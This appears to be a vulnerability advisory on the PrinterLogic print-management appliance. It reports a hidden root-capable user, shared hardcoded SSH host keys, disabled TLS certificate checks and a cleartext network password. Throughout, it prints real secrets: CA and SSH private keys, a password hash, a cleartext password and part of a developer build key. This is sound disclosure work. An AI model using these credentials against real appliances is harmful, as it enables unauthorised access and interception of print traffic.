UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
[...]
cac_subjects=
caPrivateKey=-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
[...]
snmp_3_authentication_key=[redacted]
snmp_3_authentication_protocol=sha
snmp_3_context_engineID=
snmp_3_context_name=mfpdirect
snmp_3_enabled=1
snmp_3_privacy_key=[redacted]
snmp_3_privacy_protocol=aes
snmp_3_security_level=noAuthNoPriv
snmp_3_username=SET
snmp_alerts_default_state=1
snmp_alerts_enabled=1
snmp_attempts=5
The program PrinterLogic may use this CA to transmit data securely.
It may allow an attacker to intercept data.
The audited PrinterLogic version is 20.0.1305.
The audited host version is 1.0.730.
This PrinterLogic version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Builds.htm (OpenBuild 20.0.1305: January 19, 2022).
The update file can be directly retrieved from https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.1305/20.0.1305.gpg.
The host version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (Build 1.0.730: December 30th, 2021).
Checksums of the audited versions:
cc52eed590dc79970df01e7099e36e09a75cf453ebbdabd7dca565341c45ae9e 20.0.1305.gpg
7aac6cfee6d3c16978732215dc5fe63729a5c505afef2d91e99eef9b1eced7a7 printerinstaller-1.0.730.ova
The update file has been decrypted using the hardcoded GPG key 45066ADCF538743121004158DD3BA4C62EA82177.key
and the extracted Docker instances have been audited.
The solutions use several Docker instances - all the instances have been made up to date, as shown below:
PrinterLogic VA version
PrinterLogic SaaS version on [redacted].printerlogic10.com
There are 2 versions of PrinterLogic:
VA
); andThese 2 versions share the same code base. Consequently, a vulnerability found in one version can be found in the other version with a high confidence.
This report lists the vulnerabilities common to the 2 versions and the vulnerabilities specific to the VA version.
The appliance contains an undocumented user (ubuntu
) with a hardcoded password:
Content of /etc/shadow
:
kali# cat etc/shadow root:!:18987:0:99999:7::: daemon:*:18484:0:99999:7::: bin:*:18484:0:99999:7::: sys:*:18484:0:99999:7::: sync:*:18484:0:99999:7::: games:*:18484:0:99999:7::: man:*:18484:0:99999:7::: lp:*:18484:0:99999:7::: mail:*:18484:0:99999:7::: news:*:18484:0:99999:7::: uucp:*:18484:0:99999:7::: proxy:*:18484:0:99999:7::: www-data:*:18484:0:99999:7::: backup:*:18484:0:99999:7::: list:*:18484:0:99999:7::: irc:*:18484:0:99999:7::: gnats:*:18484:0:99999:7::: nobody:*:18484:0:99999:7::: systemd-network:*:18484:0:99999:7::: systemd-resolve:*:18484:0:99999:7::: syslog:*:18484:0:99999:7::: messagebus:*:18484:0:99999:7::: _apt:*:18484:0:99999:7::: uuidd:*:18987:0:99999:7::: ntp:*:18987:0:99999:7::: sshd:*:18987:0:99999:7::: statd:*:18987:0:99999:7::: ubuntu:$6$FGlSuvGG$loUn3.OwRauCaM0ZeaV739iM5NF2jCSqCFjslWkPAmnH1VlSiiHmHgar995hkTm3NwbIDkmR4LSZICLsMGcjt.:18989:0:99999:7::: alpine-www-data:*:18987:0:99999:7::: printerlogic:*:18989:0:99999:7::: network:saglzhyIcp5Ng:19012:0:99999:7::: kali#
This account is not documented. Futhermore, it has root privileges with sudo, without the password being requested:
Content of /etc/shadow
:
root@printerlogic:/var/www/efs_storage/.updates# cat /etc/sudoers
[...]
#includedir /etc/sudoers.d
ubuntu ALL=(ALL) NOPASSWD: ALL
%printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
root@printerlogic:/var/www/efs_storage/.updates#
An attacker who knows the password of an undocumented user (ubuntu
) will get root access to the appliance using the console. Access using SSH seems to be non-working (PasswordAuthentication
set to no
and AllowGroups
set to printerlogic_ssh
).
The private SSH keys are not specific for each installation but are hardcoded, allowing an attacker to decrypt SSH traffic to the appliance:
Private SSH keys:
root@printerlogic:/etc/ssh# ls -latr
total 584
-rw-r--r-- 1 root root 1580 Mar 4 2019 ssh_config
-rw-r--r-- 1 root root 553122 Mar 4 2019 moduli
-rw-r--r-- 1 root root 338 Dec 26 08:57 ssh_import_id
-rw-r--r-- 1 root root 399 Dec 26 08:57 ssh_host_rsa_key.pub
-rw------- 1 root root 1675 Dec 26 08:57 ssh_host_rsa_key
-rw-r--r-- 1 root root 179 Dec 26 08:57 ssh_host_ecdsa_key.pub
-rw------- 1 root root 227 Dec 26 08:57 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 99 Dec 26 08:57 ssh_host_ed25519_key.pub
-rw------- 1 root root 411 Dec 26 08:57 ssh_host_ed25519_key
lrwxrwxrwx 1 root root 29 Dec 28 20:02 sshd_config -> /etc/printercloud/sshd_config
drwxr-xr-x 2 root root 4096 Dec 28 20:02 .
drwxr-xr-x 96 root root 4096 Jan 21 07:15 ..
root@printerlogic:/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs6TZ/BACNgh025HbJM2TAIRk3d9O4vyDgOabkUvsbEMVvatu
M6DFewzMtlXqBKSrB+IEwqDspjGVZmgLLuT56Kxx5KGduloQgQla4hptG3MoG1u3
eu4vgfWdwdBtgv8V+6gg1Crp4jjEw4XRgUFR1lkoDpHhqrHAwsjmveogoDCGmW9O
/fcQ7wUqVgq8GAFawtoQS2kWIudUmnH1druX+pdUUkdtKwRHtyAJ9287/1woDUvI
iDTm6l8Pc3yntOcV8wxvL6Jcj3/7I7GLYXO4d+Dg6MeTNkPzb7kURT9D4N/T3GHJ
v9mZR2N2B/kzOM2Rr6khG5SRKwcZSSdaDwZHjQIDAQABAoIBAA4OcCARAJtJvhsQ
Jp2SmFYKBfp2Zq3MJF4JrVKJJk6yURkuOMlBYzJlpf7+aflDCT7sqIKyJNI8Pvxs
V7OrpwJVu/Ov0a+rLG9sU/gtKSxkrla1rn2n9X+twFJSBL+jRg0S8r6nPPW+i2bh
Kat7ePPUthWtxIKetf6HycZCc5sVD0woKenbQ1YPAlDvOqQfblLsj0akK4MiS+6u
K7enOVmCX4mcg3XI9jqbp9Bw90blMGcBSR+AeMunHjxv0+itm6mYVyOGWz+C5Pyh
zRGYuHaTP5apZbbHmCsAlPVF/iazxa0A5EmZMIxpw6aB78VlMkhYAHNcdDXbdrVE
NLnps+ECgYEA5u8cXQ96MOwuqZGwCd0wy1qT8sxDJOw78WF6pv9t2RV0kMS8g0pW
Y8WPx2uJyXJrE4hKfT9rXniENdYxekcUBzLWiCOHMaY07pRsLizypR7WDtbD0JMX
KBXH/g/z3Xvi1bkkC7rfjn0kUNImLs4DiUlp1NP+G/xO06AamHoFQ9cCgYEAxySP
WN6nWVr7oFIOPKVYOdLDaNGlopI8aF2aiBW1iIsXITUUC7W5q9pOPfLldibgvaVF
Ln1s3OgTEVl/FD45FMf/jP6nAq5HOukw6TdpApvzv5qNU5ofqt9Lv0BUaidjae4y
GI2wcyWWmwM5V+uKJhN2X0gkQfJuKN5rtUuY4zsCgYALXvy7jFaM8CRADz9mzPBp
IvWj//DScZtmAFHExVEIXmkV88oAgPmOAh1ZSW9IbwzcslpQnn3P8gk4iWp4ReWz
kQpFO9KdXDzA/qfxAh+Uh9csdeDAdW2veJsXZHuyjTYXJf2jYjk9z+Wo4SAmL9i2
utmuNB4QDLVo8Do/BcsakwKBgQCJvC+pN9ZnZxZCfH58U6AB3lRpWxdEqgA97v/C
v8Ee/5Sv0xZaQwZ4ZjVXg3hRj/JBON3wma+B2sHVbiEGz0KLrQiDbF327LM3e7Ho
m/p1Y4fjLfIxsJfWhzrMvKGmCjgoPCdJ9DXmbkkMTd6LgM28KBnnLO5m7lZizfOR
IQhNoQKBgA6ZqrmgOlITCRazjdUMxBEu1+BXA1OuBsQSKTrX/YZxz7CQxWEyCQjE
FKOvT5DC8VebtzEsrdHuTqs4KRJJOLqJyKMCfjaSHNsUnOaS5zHYp/tosx8t9wSp
dMp80kPaKWB3E0s+hnQXh3STSsKzYyOolrLFXjvKkCrrNwgo2q/t
-----END RSA PRIVATE KEY-----
root@printerlogic:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIMyVpf/MN5oCJyCpnyVRdxECWvqbMKKCiyYlXBwUTnP6oAoGCCqGSM49
AwEHoUQDQgAEI3uUiNK9u9pWjhL0Sq9TU6w0pyuwHrF5aOybhrPecG73htyEZuD2
uLcF/mYPHRJ93eCVoWKaj6DtxhkGcEVKlQ==
-----END EC PRIVATE KEY-----
root@printerlogic:/etc/ssh# cat ssh_host_ed25519_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQAAAJjmh/ND5ofz
QwAAAAtzc2gtZWQyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQ
AAAEC1L9xfXxOtAtTJbJv8JygidLOmF3lRX6iuYiUCL18SsuX3P3fP+AhL7qT++YZLYKn+
1TwxE3y5qXRIAvezhdBxAAAAEXJvb3RAcHJpbnRlcmxvZ2ljAQIDBA==
-----END OPENSSH PRIVATE KEY-----
root@printerlogic:/etc/ssh# sha256sum *
9fa9dd312da04fbad130b70c96bf9707b8dc72cbdbb304d69bf58f52f94883b4 moduli
a39fbc57dc2ef8a473f078d1f6a35f725809400df67070b8852e8ed725047df2 ssh_config
750055f1d4ccc3517430e442faa8e19a47f611e53127de4a68c92e898761896b sshd_config
7544d4035f03765866a1e8f03ff5bc713ecc794c675ce87a925d5a9ff0918905 ssh_host_ecdsa_key
f368c137cdbc3fcc9e573b35510896154a890720e6f9e13087de5c2ac4b10c4e ssh_host_ecdsa_key.pub
f8d2a063872a82042bb1ec7ed2bb6e77b4bf10d47812461b50c72fbf12093146 ssh_host_ed25519_key
4f3ffad2e07fd9528260bdf58b3d83489d46a94241aa5a728298b7eed0520737 ssh_host_ed25519_key.pub
cca460094f777dfc1be24045b2f6e0b5cb5fed62bf0760f4f20f14a56377074b ssh_host_rsa_key
fa6050b0f6fe07a3154c9eed9be1242291a02158117a14c09c1d7808aba0888a ssh_host_rsa_key.pub
70f138f006507c07ced8cfe940ea2e8d2137246f5a270f535b0d7e64d070069b ssh_import_id
Any attacker can decrypt the SSH traffic to the appliance.
When auditing the PHP code, it appears communications to printers are insecure.
By default, there is no verification of SSL certificates, as CURLOPT_SSL_VERIFYHOST
and CURLOPT_SSL_VERIFYPEER
are set to false
in a large part of the code base.
This means that the solution expressively uses insecure connection to printers, allowing Man-In-The-Middle attacks and disabling any communication security.
From the curl documentation:
When the verify value is 0, the connection succeeds regardless of the names in the certificate. Use that ability with caution!
WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point.
Extraction of curl options from PHP code.
Curl options set to insecure values:
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYHOST .
./app/console_release/samsung/samsung_rest_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/km/konicaminolta_soap_helper.php: //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/common/cpa_helper_functions.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/hp/hp_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/removeApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/installApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/lib/common/aws/lib/requestcore/requestcore.class.php: curl_setopt($curl_handle, CURLOPT_SSL_VERIFYHOST, true);
./app/app/Helpers/HPSoapHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Console/Commands/XeroxSoapClient.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYHOST] = 0;
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYHOST] = 2;
./vendor/guzzlehttp/guzzle/CHANGELOG.md:* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in
./vendor/guzzlehttp/guzzle/CHANGELOG.md:* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444)
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php: curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYPEER .
./app/console_release/samsung/samsung_rest_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php: //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/common/cpa_helper_functions.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/hp/hp_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/removeApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/installApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/lib/common/lightopenid/openid.php: curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
./app/lib/common/aws/lib/requestcore/requestcore.class.php: curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/HPSoapHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Console/Commands/XeroxSoapClient.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYPEER] = false;
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYPEER] = true;
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php: curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1);
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www#
A large part of these options are set to false, disabling the security of communications.
The lack of checking validity of SSL certificates seems to be a regular pattern. The variables used for SSL verification are also set to false for micro-services.
Variables used to be sure no verification of SSL certificates is done in Docker images:
kali$ cat ./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env
...
API_GATEWAY_URL=https://pi
API_GATEWAY_PUBLIC_URL=https://pi.pl-local.com
API_GATEWAY_VERIFYSSL=false
# PrinterInstaller API
API_PRINTERINSTALLER_URL=https://pi
API_PRINTERINSTALLER_VERIFYSSL=false
# Microservice Authorization Key
MS_AUTH_KEY=1001-LOCAL-ENV-KEY-1001
# User Microservice API
API_USER_URL=https://users
API_USER_VERIFYSSL=false
# Platform API
API_PLAT_API_URL=http://plat-api
API_PLAT_API_VERIFYSSL=false
# Quota Management Microservice API
API_QUOTA_URL=https://qm
API_QUOTA_VERIFYSSL=false
# Printer Queue Microservice API
API_PQ_URL=https://pq
API_PQ_VERIFYSSL=false
# Driver Catalog Microservice API
API_DRIVER_CATALOG_URL=https://drivers
API_DRIVER_CATALOG_VERIFYSSL=false
# Okta Microservice API
API_OKTA_URL=https://okta
API_OKTA_VERIFYSSL=false
# Authn Microservice API
API_AUTHN_URL=http://authn
API_AUTHN_VERIFYSSL=false
# External Badge Controller Microservice API
EBC_URL=http://ebc
EBC_VERIFYSSL=false
# Cpp-Ui Microservice API
API_CPP_UI_URL=https://cpp-ui
API_CPP_UI_VERIFYSSL=false
API_CPP_UI_PUBLIC_URL=https://cpp-ui.pl-local.com:12443
# New API Gateway Microservice
API_GW_URL=http://gw
API_GW_PUBLIC_URL=https://gw.pl-local.com:5443
API_GW_VERIFYSSL=false
# Badge Reader Microservice API
API_BR_URL=https://br
API_BR_VERIFYSSL=false
# VA-API Microservice
VA_API_URL=http://va-api
VA_API_VERIFYSSL=false
# SCSS Microservice API
API_SCSS_URL=http://scss
API_SCSS_VERIFYSSL=false
# Identity Microservice API
API_IDENTITY_URL=http://identity
API_IDENTITY_VERIFYSSL=false
# Catalog Microservice API
API_CAT_URL=http://cat
API_CAT_VERIFYSSL=false
# Qms Microservice API
API_QMS_URL=http://qms
API_QMS_VERIFYSSL=false
Variables used to be sure no verification of SSL certificates is done
kali$ cat ./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env
[...]
# SSL verification
API_AUTHN_VERIFYSSL=${API_AUTHN_VERIFYSSL:-false}
API_BR_VERIFYSSL=${API_BR_VERIFYSSL:-false}
API_CAT_VERIFYSSL=${API_CAT_VERIFYSSL:-false}
API_CPP_UI_VERIFYSSL=${API_CPP_UI_VERIFYSSL:-false}
API_GATEWAY_VERIFYSSL=${API_GATEWAY_VERIFYSSL:-false}
API_PRINTERINSTALLER_VERIFYSSL=${API_PRINTERINSTALLER_VERIFYSSL:-false}
API_USER_VERIFYSSL=${API_USER_VERIFYSSL:-false}
[...]
When looking for ssl
and false
, more results will appear in PHP source code.
Variables used to be sure no verification of SSL certificates is done:
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php: RequestOptions::VERIFY => boolval(config('api.identity.verify_ssl', false)),
[...]
./www/app/config-laravel/api.php: 'verify_ssl' => env('API_IDENTITY_VERIFYSSL', false),
./www/app/config-laravel/api.php: 'verify_ssl' => env('API_CAT_VERIFYSSL', false),
[...]
By design, the solution is vulnerable to Man-In-The-Middle attacks and does not provide security when communicating with the printers (e.g. releasing jobs). The Secure Printing
is insecure by default.
The micro-apis do not check SSL certificates. In any case, these communications are done over clear-text HTTP.
network
stored in clear-text inside /etc/issue
, world-readableBy default, it is possible to retrieve the password of the network
user.
The file /etc/issue
contains the password in clear-text. Furthermore, this file is world-readable:
root@printerlogic:/etc# ls -la /etc/issue
-rw-r--r-- 1 root root 406 Jan 21 12:25 /etc/issue
root@printerlogic:/etc# cat /etc/issue
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
. PrinterLogic Virtual Appliance Host Version: 1.0.730
.
. STATUS: running
. IP: \4
.
. Your application is running and may be accessed at:
. http://10.105.0.240/admin
.
. To change network settings please login:
. User: network
. password: gl3wW5pwQW
.
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
root@printerlogic:/etc#
An attacker with a shell on the appliance can use the network
account to change network parameters.
4 private SSH keys have been identified inside overlay file systems.
Private SSH key for [redacted]@printerlogic.com:
root@printerlogic:/var/lib/docker/overlay2# cat l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key
-----BEGIN RSA PRIVATE KEY-----
MIIJKgIBAAKCAgEAzcnPr+iR+quTOO7LfArN2u3pMK+01uI+hgpF7qapw4XXCEV5
G/aV8hftHXz5N19w62dcmEo8fc/OPDzoZnnCAPThgDAansAEJZUuRq5HUx+5gGdR
Ak76485GZxwBM/eRA9k5SNtJ+MWNOsl2WyyEITPQ44U5TQz9Fc+dbKZ/8SkcjdoZ
PzAt06lUYnj5MT4aeeDmp7sUI++F3rPdObxQiF7pKirJUSl7mTIjzwa/q15mvfRL
9PQD5CRrvhn9dneHPuwPojgg46YUOyIMzEuanoClRcp19VD6E1ApVGTf6AVTorbt
xFQGo2OwTjhhOCvhALcUY4sGHzQG9rWo1zHA1fAXCoj7tZkdt0PrK9/RjmYH7hHC
ELezb6jJwbTUaJjgU+y+CSSfNxu5Kj+wbQz0uzk48TbYT0DSDCIDwvq7fUQkfy5V
AkUlzVYtdXpfy9c57R1HzTYbEfrPeKo4kvT3lzqqg6ZaQBFu6iAOjltu3DCR2kh0
9E24WTMjI+ak03+H1BpHyoOUufsjlHPGPmVSw/+tk5nOBFRTChMQegGPLKK5luCp
0rQTh//+DdPkaG0opwpR+6QLPLfdR/RGTDm9R1i7ofbAujuiPGP+1TY6TETMD401
ccloqD371y/52AGq0Mdk/LxydDz4T8Pa7+xxYNvI+0psEFCSQKziMdTdHfsCAwEA
AQKCAgEAjFczEg4Tb9YOwubnUqKznLhfLVrGgz0r0pGy+3whjjv6V6O5Yj6aJ831
YQTXmNG32nJVDW6jLlHHngETpL8odSqLlrY3kUf2DANe2ckEz0V1ZoIPFvnx0+Xa
0Xqhv2T4Op2rmWojWkqvdAXsd2U2fsYtkNxMJaXT+0npXC14V2joFj1EtnkO56g0
6isCFnj56WBdLMpCg/dXXndfSX6JlVbUwHMJdBZMOj+deBRsJlxsyOKP4m9/L9k+
uRhUaLQ/QcQPLVwF4fpjFai0/aYZvjqRe7UFGNWulfk3Flzs7fij/vWt1RRQqqDT
naSJeJtECQ7SEsi+1gzPKvTcPlWp4YN3GlMchWMQKmH7xu6LVTZEtmcNsIFwGmzT
xiWO+j9rJlAaRjJ5RDgvHl562IcHDCUWY/U0UAXMdJMpAsOmdvt/FRfsNI7dUoJV
wEGk/WEwyDml5OatHE9rTHMlXSsztg7KPJWXhsPRsEwQQD1hzZibmfvsbxnrlNR/
XnBvgSzzVxSvKU61bYke8k/YNxjMmYvJx2sJDE+FMIbkGFfkidoeajHD94Y14Lhd
8dXXZN+yUWBgTkROfoyU8YopCVvf4X9mdiibPKJQ4Y3BhbMppcoi5oWpdXdhKwQl
Xx7rCXcB3kkb35x8bYo+evQxfN4hzBHvnvLIWJQUKn+CTdUz3kECggEBAOxOpu1S
m+xmfS8D3+STSoaKPGSRmZ4q2T9Nswk8NcCFsS8/ZkqK6UoRfymwKVH5pCl1WZ37
4Fby4O+yiO8noklc26Da5mO2lRoNsc1LbPMqyJCvlERe7eh9+wNjvivDQITaypD4
JXjKWt77pC85TSwb5IP4ou65W+rUIlKq5iM2mXSPg9y4e75FTs+2B4sfbqkrptaH
tsmOmT5dau2zIWbM6hqat/fIj/Tb0JdSfkYDykWnsfujl7w4jK8kux94GM+ICm1k
WXmQ0h6ed4vGK+VZJOfZeV/BLS4pmrs7pF+ovYZUqQZRJFcByntg5KnvoAt0Mb2J
s3wLAwmXqp2JKfECggEBAN7wEqBr2Awn0QJj5RuL9XvuHcAuq1HYniC6fDOriXKh
jzCNV/BdGdA3H+Pr2zK03xx8/B98k5r/Jp3R2fxPwlyQq9Fg+O9GCkPjuMYUhnI+
/xke51ecNVIeAoAod6AKBpMq8rfQB9ANI0Y/q5qYiqOVsFlNzUvrHvYxdORZgQ5Y
